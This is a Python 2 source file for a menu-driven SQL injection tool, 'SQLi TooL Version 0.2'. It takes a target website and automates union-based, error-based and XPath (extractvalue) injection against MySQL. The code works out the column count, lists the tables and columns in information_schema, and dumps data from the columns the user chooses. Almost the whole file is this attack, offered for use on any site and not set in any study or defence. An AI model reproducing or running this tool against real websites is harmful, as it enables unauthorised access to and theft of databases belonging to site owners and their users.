from bs4 import BeautifulSoup
import urllib, urllib2, re, webbrowser, sys, os, time, string
 
class App(object):
    def Clean(self):
        if sys.platform == 'linux':
            clear = 'clear'
        elif sys.platform == 'win32':
            clear = 'cls'
        os.system(clear)
    def Routine(self):
        equals = '='
        print("Enter the site:")
        global site
        site = raw_input(">>> ")
        if site == 'exit':
            exit
        while 'www' and 'http://' and '.' not in site:
            print("[!] Please enter a valid site!")
            site = raw_input(">>> ")
            print("[=============================]")
        while site == int():
            print("[!] You entered an integer.Please enter the site")
            site = raw_input(">>> ")
            print("[===============================================]")
        if site[:4] != "http":
            site = "http://"+ str(site)
        if equals in site:
            site = site.replace("=", "=-")                
        if site.endswith("/*"):
            site = site.rstrip('/*')
        if site.endswith("#"):
            site = site.rstrip("#")
    def UnionBased(self):  
        eqmin = '=-'
        equals = '='
        print("")
        print(" [Union Based]")
        print("---------------")
        self.Routine()
        print(" [!] Getting column count...")
        print("")
        global site
        site = site.replace('=-', '=')
        for i in range(2,30):
                url = site + '+order+by+%s--' % (i)
                URL = urllib.urlopen(url)
                Html = URL.read()
                soup = BeautifulSoup("".join(Html))
                bsoup = soup.findAll('', text = True)
                bsoup = str(bsoup)
                bsoup = re.sub('<[^<]+?>', '', bsoup)
                search = re.search("You have an error", bsoup)
                search2 = re.search("Unknown column", bsoup)
                search3 = re.search("Error", bsoup)
                search4 = re.search("SQL", bsoup)
                if search == None and search2 == None and search3 == None and search4 == None:
                    pass
                else:
                    I = i - 1
                    print("Column count is: " + str(I))
                    break
        site = site.replace('=', '=-')
        print("[==================]")
        print(" [!] Getting vulnerable columns...")
        ColumnS = ','.join([str(y) for y in range(1,i)])
        url = site + '+union+select+%s--' % (ColumnS)
        URL = urllib.urlopen(url)
        Html = URL.read()
        vul = re.findall(r'<[^<]+?>\d+<[^<]+?>', Html)
        vul = str(vul)
        vul = re.sub('<.*?>',"", vul)
        vul = re.sub("'", "", vul)
        vul = re.sub('"', "", vul)
        vul = vul.strip('[')
        vul = vul.strip(']')
        print("[====================]")
        print("Vulnerable Colums: " + vul)
        print("")
 
        print("Select vulnerable column to test for db version:")
        ColumnS = ColumnS.replace(raw_input((">>> ")),'@@version')
        if ColumnS == '-n' or ColumnS == 'n':
            new = 2
            url = url
            webbrowser.open(url,new=new)
        url = site + '+union+select+%s--' % (ColumnS)
        URL = urllib.urlopen(url)
        Html = URL.read()
        db = re.findall(r'<[^<]+?>\d+<[^<]+?>', Html)
        search = re.findall('5.0', Html)
        search2 = re.findall('4.0.', Html)
        search3 = re.findall('5.1.', Html)
        db = '5.0'
        db2 = '4.0'
        db3 = '5.1.'
        if db in search:
            print("DB Server: MySQL >=5")
        if db2 in search2:
            print("DB Server: MySQL >=4")
        if db3 in search3:
            print("DB Server: MySQL >=5.1")
 
        print("")
        print(" [!] Getting Tables...")
        url = url.rstrip('--')
        URL = url.replace("@@version","group_concat(table_name,0x0a)") + '+from+information_schema.tables+where+table_schema=database()--'
        REQ = urllib.urlopen(URL)
        Html = REQ.read()
        tblSearch = re.findall("(\w+\s*,\s*\w+\s*(?:,\s*\w+\s*)*)", Html)
        tblSearch = str(tblSearch)
        tblSearch = re.sub('<.*?>',"", tblSearch)
        tblSearch = re.sub('<[^<]+?>', '', tblSearch)
        tblSearch = re.sub('<[^>]*>', '', tblSearch)
        tblSearch = re.sub(r'\\n', '', tblSearch)
        tblSearch = re.sub("'", "", tblSearch)
        tblSearch = re.sub('\\\\', '', tblSearch)
        tblSearch = tblSearch.strip('[')
        tblSearch = tblSearch.strip(']')
        print("[====================]")
        print("Tables Found: " + tblSearch)
        print("")
        print("Enter the table to inject")
        Tbl = raw_input('>>> ')
        if Tbl == '-n' or Tbl == 'n':
            print("")
            print(" [!] Redirecting in browser...")
            print("[============================]")
            new = 2
            url = URL
            webbrowser.open(url,new=new)
        while Tbl == int():
            print("[===========================================================]")
            print("[!] Please enter a string [or press n to redirect in browser]!")
            Tbl = raw_input(">>> ")
        Encoded = ','.join(str(ord(i)) for i in Tbl)  
        URL = url.rstrip('--')
        URL = url.replace("@@version", "group_concat(column_name,0x0a)") + '+from+information_schema.columns+where+table_name=char(%s)--' % (Encoded)
        REQ = urllib.urlopen(URL)
        Html = REQ.read()
        colSearch = re.findall("(\w+\s*,\s*\w+\s*(?:,\s*\w+\s*)*)", Html)  
        colSearch = str(colSearch)
        colSearch = re.sub('<.*?>',"", colSearch)
        colSearch = re.sub('<[^<]+?>', '', colSearch)
        colSearch = re.sub('<[^>]*>', '', colSearch)
        colSearch = re.sub(r'\\n', '', colSearch)
        colSearch = re.sub("'", "", colSearch)
        colSearch = re.sub('\\\\', '', colSearch)
        print("[====================]")
        print("Columns Found: " + colSearch)
        print("")
        print("Enter the columns to inject")
        Col1 = raw_input('Col #1 >>> ')
        Col2 = raw_input('Col #2 >>> ')
        if Col1 == '-n' or Col1 == 'n' or Col2 == '-n' or Col2 == 'n':
            print("")
            print("[!] Redirecting in browser...")
            print("[===========================]")
            new = 2
            url = URL
            webbrowser.open(url,new=new)
        print("[===============================]")
        print(" [!] Getting data from columns...")
        URL = url.rstrip('--')
        URL = url.replace('@@version', 'group_concat(%s,0x7e,%s)') % (Col1, Col2)
        URL = URL + '+from+%s--' % (Tbl)
        print URL
        REQ = urllib.urlopen(URL)
        Html = REQ.read()
        DataSearch = re.findall("(.*?)~(.*?),(.*?)", Html)
        DataSearch = str(DataSearch)
        DataSearch = re.sub('<.*?>',"", DataSearch)
        DataSearch = re.sub('<[^<]+?>', '', DataSearch)
        DataSearch = re.sub('<[^>]*>', '', DataSearch)
        DataSearch = re.sub(r'\\n', '', DataSearch)
        DataSearch = re.sub("'", "", DataSearch)
        DataSearch = re.sub('\\\\', '', DataSearch)
        if DataSearch == '[]':
            DataSearch = re.findall("(.*?)~(.*)", Html)
        print("[====================]")
        print("Data Found(%s,%s): " + str(DataSearch)) % (Col1, Col2)
        print("[===================]")
        print("No more Data to dump!")
        print("[===================]")
        print("Hit ENTER to restart. \n'n' to redirect in browser for data search. \n'exit' to exit.")
        end = raw_input(">>> ")
        if end == '-n' or end == 'n':
            new = 2
            url = URL
            webbrowser.open(url,new=new)
        elif end == 'exit':
            sys.exit()
        else:
            run = App()
            run.Clean()
            run.main()
           
    def ErrorBased(self):
        print("")
        print(" [Error Based] ")
        print("---------------")  
        self.Routine()
        print("[!] Trying Error Based Method...")
        minus = '=-'
        global site
        for minus in site:
            site = site.replace("=-", "=")
        url = site + '+or+1+group+by+concat_ws(0x7e,version(),floor(rand(0)*2))+having+min(0)+or+1--'
        URL = urllib.urlopen(url)
        Html = URL.read()
        soup = BeautifulSoup("".join(Html))
        bsoup = soup.findAll('', text = True)
        bsoup = str(bsoup)
        bsoup = re.sub('<[^<]+?>', '', bsoup)
        searching = re.search("Duplicate entry '5.1", bsoup)
        searching2 = re.search("Duplicate entry '5", bsoup)
       
        if searching == None and searching2 == None:
            print("DB Server: MySQL >=4")
        elif searching == None:
            print("DB Server: MySQL >=5")
        else:
             print("DB Server: MySQL >=5.1")
           
        url = site + '+and+(select+1+from+(select+count(*),concat((select(select+concat(cast(database()+as+char),0x7e))+from+information_schema.tables+where+table_schema=database()+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)'
        URL = urllib.urlopen(url)
        Html = URL.read()
        m = re.compile("'(.*?)~1'").search(Html)
        soup = BeautifulSoup("".join(Html))
        bsoup = soup.findAll('', text = True)
        bsoup = str(bsoup)
        bsoup = re.sub('<[^<]+?>', '', bsoup)
        find = re.findall("'([^']*)'", bsoup)
        find = str(find)
        find = re.sub("'", "", find)
        find = re.sub("~1", "", find)
        find = re.sub(",", "", find)
        dbname = str(find)
        dbname = dbname.strip('[')
        dbname = dbname.strip(']')
        try:
            mgr = m.group(1)
        except AttributeError:
            print("")
            print("Website does not seem to be vulnerable to Error Based Method!")
            print("Restarting in 5...")
            time.sleep(5)
            run = App()
            run.Clean()
            run.main()    
        print("")
        print("DB Name: " + m.group(1))
        print("")
        print(" [!] Getting tables from DB...")
        for i in range(0,71):  
            url = site + '+and+(select+1+from+(select+count(*),concat((select(select+concat(cast(table_name+as+char),0x7e))+from+information_schema.tables+where+table_schema=database()+limit+%s,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)' % (i)
            URL = urllib.urlopen(url)
            Html = URL.read()
            s = re.compile("'(.*?)~1'").search(Html)
            Html = re.sub('~1', '', Html)
            soup = BeautifulSoup("".join(Html))
            bsoup = soup.findAll('', text = True)
            bsoup = str(bsoup)
            bsoup = re.sub('<[^<]+?>', '', bsoup)
            find = re.findall("'([^']*)'", bsoup)
            find = list(find)
            Find = str(find[-1])
            if Find == '\n' or Find == '\\n' or Find == ', u':
                print("[============================]")
                print(" [!] There are no more tables to find!")
                break
            print("[============================]")
            print("Found table: " + s.group(1))
 
        print("[=======================]")
        print("Enter the table to inject")
        tbl = raw_input(">>> ")
        Tbl = tbl.encode('hex')
        for i in range(0,23):
            url = site + '+and+(select+1+from+(select+count(*),concat((select(select+concat(cast(column_name+as+char),0x7e))+from+information_schema.columns+where+table_name=0x%s+limit+%s,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)' % (Tbl, i)
            URL = urllib.urlopen(url)
            Html = URL.read()
            s = re.compile("'(.*?)~1'").search(Html)  
            Html = re.sub('~1', '', Html)
            soup = BeautifulSoup("".join(Html))
            bsoup = soup.findAll('', text = True)
            bsoup = str(bsoup)
            bsoup = re.sub('<[^<]+?>', '', bsoup)
            find = re.findall("'([^']*)'", bsoup)
            find = list(find)
            Find = str(find[-1])
            if Find == '\n' or Find == '\\n' or Find == ', u':
                print("[============================]")
                print(" [!] There are no more columns to find!")
                break
            print("[============================]")
            print("Found column: " + s.group(1))
 
        print("[============================]")
        print("Enter the columns to inject")
        col1 = raw_input("Col #1 >>> ")
        col2 = raw_input("Col #2 >>> ")
        dbname = dbname.strip('[')
        dbname = dbname.strip(']')
        for i in range(0,23):
            url = site + '+and(select+1+from(select+count(*),concat((select+(select(SELECT+concat(0x7e,0x27,cast(%s.%s+as+char),0x27,0x7e)+FROM+`%s`.%s+LIMIT+%s,1)+)+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1' % (tbl, col1, mgr, tbl, i)
            URL = urllib.urlopen(url)
            Html = URL.read()
            m = re.compile("'(.*?)'~1'").search(Html)
            Html = re.sub('~1', '', Html)
            soup = BeautifulSoup("".join(Html))
            bsoup = soup.findAll('', text = True)
            bsoup = str(bsoup)
            bsoup = re.sub('<[^<]+?>', '', bsoup)
            find = re.findall("'([^']*)'", bsoup)
            find = list(find)
            Find = str(find[-1])
            if Find == '\n' or Find == '\\n' or Find == ', u':
                print("[============================]")
                print(" [!] There is no more data to dump from %s!") % col1
                break
            print("[============================]")
            print("Data from %s: " + m.group(0)) % col1
 
        for i in range(0,23):
            url = site + '+and(select+1+from(select+count(*),concat((select+(select(SELECT+concat(0x7e,0x27,cast(%s.%s+as+char),0x27,0x7e)+FROM+`%s`.%s+LIMIT+%s,1)+)+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1' % (tbl, col2, mgr, tbl, i)
            URL = urllib.urlopen(url)
            Html = URL.read()
            s = re.compile("'(.*?)'~1'").search(Html)
            Html = re.sub('~1', '', Html)
            soup = BeautifulSoup("".join(Html))
            bsoup = soup.findAll('', text = True)
            bsoup = str(bsoup)
            bsoup = re.sub('<[^<]+?>', '', bsoup)
            find = re.findall("'([^']*)'", bsoup)
            find = list(find)
            Find = str(find[-1])
            if Find == '\n' or Find == '\\n' or Find == ', u':
                print("[============================")
                print(" [!] There is no more data to dump from %s!") % col2
                break
            print("[============================]")
            print("Data from %s: " + s.group(0)) % col2
        print("No more Data to dump!")
        print("[===================]")
        print("Hit ENTER to restart.\n'exit' to exit.")
        end = raw_input(">>> ")
        if end == 'exit':
            sys.exit()
        else:
            run = App()
            run.Clean()
            run.main()
 
    def Xpath(self):
        print("")
        print(" [XPath Injection] ")
        print("-------------------")  
        self.Routine()
        minus = '=-'
        global site
        for minus in site:
            site = site.replace("=-", "=")
        url = site + '+and+extractvalue(rand(),concat(0x7e,version()))--'
        URL = urllib.urlopen(url)
        Html = URL.read()
        soup = BeautifulSoup("".join(Html))
        bsoup = soup.findAll('', text = True)
        bsoup = str(bsoup)
        bsoup = re.sub('<[^<]+?>', '', bsoup)
        searching = re.search("XPATH syntax", bsoup)
        if searching == None:
            print(" [!] Website does not seem to be vulnerable to XPath!")
            print(" [!] Restarting in 5...")
            time.sleep(5)
            run = App()
            run.Clean()
            run.main()
        else:
            print("DB Server: MySQL >=5.1")
            print("[=====================]")
        for i in range(0,71):
            url = site + '+and+extractvalue(rand(),concat(0x0a,(select+concat(0x3a,table_name)+from+information_schema.tables+WHERE+table_schema=database()+limit+%s,1)))--' % (i)
            URL = urllib.urlopen(url)
            Html = URL.read()      
            m = re.compile(":\s'\n:(.*?)'").search(Html)
            Html = re.sub('~', '', Html)
            search = re.search('You have an', Html)
            search2 = re.search('XPATH', Html)
            if search != None or search2 == None:
                print("")
                print(" [!] There are no more tables to find!")
                print("[====================================]")
                break
            print("Found table: " + m.group(1))
            print("[=========================]")
           
        print("Enter the table to inject ")
        tbl = raw_input(">>> ")
        Tbl = tbl.encode('hex')
        for i in range(0,23):
            url = site + '+and+extractvalue(rand(),concat(0x0a,(select+concat(0x3a,column_name)+from+information_schema.columns+where+table_name=0x%s+limit+%s,1)))--+x' % (Tbl, i)
            URL = urllib.urlopen(url)
            Html = URL.read()
            m = re.compile(":\s'\n:(.*?)'").search(Html)
            Html = re.sub('~', '', Html)
            search = re.search('You have an', Html)
            search2 = re.search('XPATH', Html)
            if search != None or search2 == None:
                print("")
                print(" [!] There are no more columns to find!")
                print("[=====================================]")
                break
            print("Found column: " + m.group(1))
            print("[==========================]")
 
        print("Enter the columns to inject ")
        Col1 = raw_input("Col #1>>> ")
        Col2 = raw_input("Col #2>>> ")
        for i in range(0,23):
            url = site + '+and+extractvalue(rand(),concat(0x3a,(select+concat(%s,0x3a,%s)+from+%s+limit+%s,1)))--+x' % (Col1, Col2, tbl, i)
            URL = urllib.urlopen(url)
            Html = URL.read()
            m = re.compile(":\s':(.*?):(.*?)'").search(Html)
            search = re.search('You have an', Html)
            search2 = re.search('XPATH', Html)
            if search != None or search2 == None:
                print("")
                print(" [!] There is no more data to dump!")
                print("[=================================]")
                break
            print("[-----------%s:%s------------]") % (Col1, Col2)
            print("Found Data" + m.group())
            print("[==========================]")
        print("No more Data to dump!")
        print("[===================]")
        print("Hit ENTER to restart.\n'exit' to exit.")
        end = raw_input(">>> ")
        if end == 'exit':
            sys.exit()
        else:
            run = App()
            run.Clean()
            run.main()
           
    def main(self):
        self.Clean()
        print(" +========================+ ")
        print(" | SQLi TooL Version 0.2  | ")
        print(" | Help : -help           | ")
        print(" | Coded by : 5K0N4       | ")
        print(" +========================+ ")
        print(" +========================+ ")
        print(" |_____Choose Method______| ")
        print(" |-----[1]Union Based-----| ")
        print(" |---[2]XPath Injection---| ")
        print(" |-----[3]Error Based-----| ")
        print(" +========================+ ")
        choice = raw_input(">>> ")
        while choice !='1' and choice !='2' and choice != '3' and choice !='-h' and choice !='-help' and choice != 'exit':
            print("Please enter a valid option [-h for help]!")
            choice = raw_input(">>> ")
        if choice == 'exit':
            sys.exit()
        elif choice == '-help' or choice == '-h':
            print("=======================")
            print("Union Based: ")
            print("")
            print("If the program didn't find anything usefull you can \npress '-n' or 'n' to redirect in browser to seach manually!")
            print("[---------------------------------------------------------]")
            print("Also there's a bug in 'Tables Found:','Columns Found:' and 'Data Found:' - \nBeware that some of those won't be valid tables\\columns but html elements!")
            print("[------------------------------------------------------------------------]")
            print("Hit ENTER to restart")
            restart = raw_input(">>> ")
            run = App()
            run.main()
        if choice == '1':
            self.Clean()
            self.UnionBased()
        elif choice == '2':
            self.Clean()
            self.Xpath()
        elif choice == '3':
            self.Clean()
            self.ErrorBased()
 
if __name__ == '__main__':
    run = App()
    run.main()